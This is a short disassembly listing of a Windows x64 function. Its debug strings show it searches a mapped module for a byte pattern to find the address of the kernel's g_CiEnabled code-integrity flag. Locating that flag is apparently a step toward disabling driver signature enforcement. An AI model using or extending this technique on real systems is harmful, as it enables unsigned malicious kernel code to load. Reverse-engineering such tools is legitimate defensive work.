lea r8, [rsp + 0x30]
mov rcx, qword [rsp + 0x40]
call fcn.140082d10
test eax, eax
je 0x140083169
mov rax, qword [rsp + 0x30]
xor ebx, ebx
mov qword [rdi], rax
jmp 0x14008316e
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x58]
call fcn.140082b40
mov ebx, eax
test eax, eax
js 0x14008316e
mov r11, qword [rsp + 0x48]
xor r10d, r10d
xor r9d, r9d
test r11, r11
je 0x14008315d
mov rbx, qword [rsp + 0x40]
lea rsi, [0x1401fdca4]
nop dword [rax + rax]
mov r8, r9
xor edx, edx
sub r8, rsi
mov rax, rsi
add r8, rbx
nop
movzx ecx, byte [rax]
cmp byte [r8 + rax], cl
je 0x14008310d
test cl, cl
jne 0x140083159
inc edx
inc rax
cmp edx, 4
jb 0x140083100
mov cl, 1
test cl, cl
mov rax, r9
cmove rax, r10
inc r9
mov r10, rax
cmp r9, r11
jb 0x1400830f0
test rax, rax
je 0x14008315d
movsxd rcx, dword [rax + rbx + 4]
mov rbx, qword [rsp + 0x30]
add rcx, rax
add rbx, 8
add rbx, rcx
lea rcx, str.i_:_0x_llx_n_gCiEnabled_:__llx_n_gCiEnabledAddress_:__llx_n
call fcn.140082ae0
mov qword [rdi], rbx
xor ebx, ebx
jmp 0x14008316e
xor cl, cl
jmp 0x140083119
lea rcx, str.failed_to_find_CiEnabled_n
call fcn.140082ae0
mov ebx, 0xc0000225
mov rdx, qword [rsp + 0x40]
mov rcx, 0xffffffffffffffff
call qword [sym.imp.ntdll.dll_NtUnmapViewOfSection]
mov eax, ebx
mov rcx, qword [rbp + 0x180]
xor rcx, rsp
call fcn.1401cb920
lea r11, [rsp + 0x290]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret